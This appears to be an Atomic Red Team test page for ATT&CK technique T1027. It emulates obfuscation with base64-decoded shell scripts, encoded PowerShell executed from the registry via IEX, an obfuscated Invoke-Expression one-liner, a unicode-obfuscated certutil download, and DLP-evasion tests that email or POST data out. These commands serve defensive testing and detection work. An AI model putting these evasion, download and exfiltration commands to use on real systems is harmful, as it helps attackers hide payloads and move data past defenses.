Try it using Invoke-Atomic

Obfuscated Files or Information

Description from ATT&CK

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

Atomic Tests

Atomic Test #1 - Decode base64 Data into Script

Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes 

1

Hello from the Atomic Red Team
and uname -v

Supported Platforms: macos,linux

auto_generated_guid: f45df6be-2e1e-4136-a384-8f18ab3826fb

Inputs:

Name Description Type Default Value
shell_command command to encode string echo Hello from the Atomic Red Team && uname -v

Attack Commands: Run with sh!

1
2
3
4

cat /tmp/encoded.dat | base64 -d > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh

Cleanup Commands:

1
2
3

rm /tmp/encoded.dat 
rm /tmp/art.sh

Dependencies: Run with sh!

Description: encode the command into base64 file

Check Prereq Commands:

1
2

if [ -e "/tmp/encoded.dat" ]; then exit 0; else exit 1; fi

Get Prereq Commands:

1
2

echo "#{shell_command}" | base64 > /tmp/encoded.dat

Atomic Test #2 - Decode base64 Data into Script

Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes 

1

Hello from the Atomic Red Team
and uname -v

Supported Platforms: freebsd

auto_generated_guid: 197ed693-08e6-4958-bfd8-5974e291be6c

Inputs:

Name Description Type Default Value
shell_command command to encode string echo Hello from the Atomic Red Team && uname -v

Attack Commands: Run with sh!

1
2
3
4

cat /tmp/encoded.dat | b64decode -r > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh

Cleanup Commands:

1
2
3

rm /tmp/encoded.dat 
rm /tmp/art.sh

Dependencies: Run with sh!

Description: encode the command into base64 file

Check Prereq Commands:

1
2

exit 1

Get Prereq Commands:

1
2

echo "#{shell_command}" | b64encode -r - > /tmp/encoded.dat

Atomic Test #3 - Execute base64-encoded PowerShell

Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"

Supported Platforms: windows

auto_generated_guid: a50d5a97-2531-499e-a1de-5544c74432c6

Inputs:

Name Description Type Default Value
powershell_command PowerShell command to encode string Write-Host "Hey, Atomic!"

Attack Commands: Run with powershell!

1
2
3
4
5
6

$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand

Atomic Test #4 - Execute base64-encoded PowerShell from Windows Registry

Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.

Supported Platforms: windows

auto_generated_guid: 450e7218-7915-4be4-8b9b-464a49eafcec

Inputs:

Name Description Type Default Value
registry_key_storage Windows Registry Key to store code string HKCU:Software\Microsoft\Windows\CurrentVersion
powershell_command PowerShell command to encode string Write-Host "Hey, Atomic!"
registry_entry_storage Windows Registry entry to store code under key string Debug

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8

$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"

Cleanup Commands:

1
2

Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}

Atomic Test #5 - Execution from Compressed File

Mimic execution of compressed executable. When successfully executed, calculator.exe will open.

Supported Platforms: windows

auto_generated_guid: f8c8a909-5f29-49ac-9244-413936ce6d1f

Inputs:

Name Description Type Default Value
url_path url to download Exe url https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip

Attack Commands: Run with command_prompt!

1
2

"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe"

Cleanup Commands:

1
2
3

taskkill /f /im calculator.exe >nul 2>nul
taskkill /f /im CalculatorApp.exe >nul 2>nul

Dependencies: Run with powershell!

Description: T1027.exe must exist on disk at PathToAtomicsFolder..\ExternalPayloads\temp_T1027.zip\T1027.exe

Check Prereq Commands:

1
2

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
4
5

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\" -Force

Atomic Test #6 - DLP Evasion via Sensitive Data in VBA Macro over email

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: windows

auto_generated_guid: 129edb75-d7b8-42cd-a8ba-1f3db64ec4ad

Inputs:

Name Description Type Default Value
input_file Path of the XLSM file path PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm
sender sender email string test@corp.com
receiver receiver email string test@corp.com
smtp_server SMTP Server IP Address string 127.0.0.1

Attack Commands: Run with powershell!

1
2

Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}

Atomic Test #7 - DLP Evasion via Sensitive Data in VBA Macro over HTTP

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: windows

auto_generated_guid: e2d85e66-cb66-4ed7-93b1-833fc56c9319

Inputs:

Name Description Type Default Value
input_file Path of the XLSM file path PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm
ip_address Destination IP address string 127.0.0.1

Attack Commands: Run with powershell!

1
2

Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"

Atomic Test #8 - Obfuscated Command in PowerShell

This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.

Supported Platforms: windows

auto_generated_guid: 8b3f4ed6-077b-4bdd-891c-2d237f19410f

Inputs:

None

Attack Commands: Run with powershell!

1
2

$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE]("{1}{0}{2}"-f'nv','cO','ert')  ;  &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') (  (&("{1}{2}{0}"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )

Atomic Test #9 - Obfuscated Command Line using special Unicode characters

This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). Reference: https://wietze.github.io/blog/windows-command-line-obfuscation

Supported Platforms: windows

auto_generated_guid: e68b945c-52d0-4dd9-a5e8-d173d70c448f

Inputs:

Name Description Type Default Value
remote_file URL of file to download url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path Local path/filename to save the downloaded file to path Atomic-license.txt

Run it with these steps!

  1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename.

certutil —ૹu૰rlࢰca࣢c෯he –‮spli؅t‮‭ −"൏ᶠ൸" #{remote_file} #{local_path}

  1. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command.
1




Atomic Test #10 - Snake Malware Encrypted crmlog file


The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver.
Snake Malware - CISA



Supported Platforms: windows



auto_generated_guid: 7e47ee60-9dd1-4269-9c4f-97953b183268



Inputs:



None



Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)



1
2

$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)"





Cleanup Commands:



1
2

$fileNameToDelete = '04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'; $filePathToDelete = "$env:windir\registration\"; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; Write-Host "File deleted: $fullPathToDelete" } else { Write-Host "File not found: $fullPathToDelete" }





Atomic Test #11 - Execution from Compressed JScript File


Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/



Supported Platforms: windows



auto_generated_guid: fad04df1-5229-4185-b016-fb6010cd87ac



Inputs:




  
    

      Name
      Description
      Type
      Default Value
    

  
  
    

      url_path
      url to download JScript file
      url
      https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/t1027js.zip
    

  




Attack Commands: Run with command_prompt!



1
2

"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js"





Cleanup Commands:



1
2

taskkill /f /im calculator.exe >nul 2>nul





Dependencies:  Run with powershell!



Description: T1027.js must exist on disk at PathToAtomicsFolder..\ExternalPayloads\temp_T1027js.zip\T1027js.js



Check Prereq Commands:



1
2

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js") {exit 0} else {exit 1}





Get Prereq Commands:



1
2
3
4
5

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\" -Force





source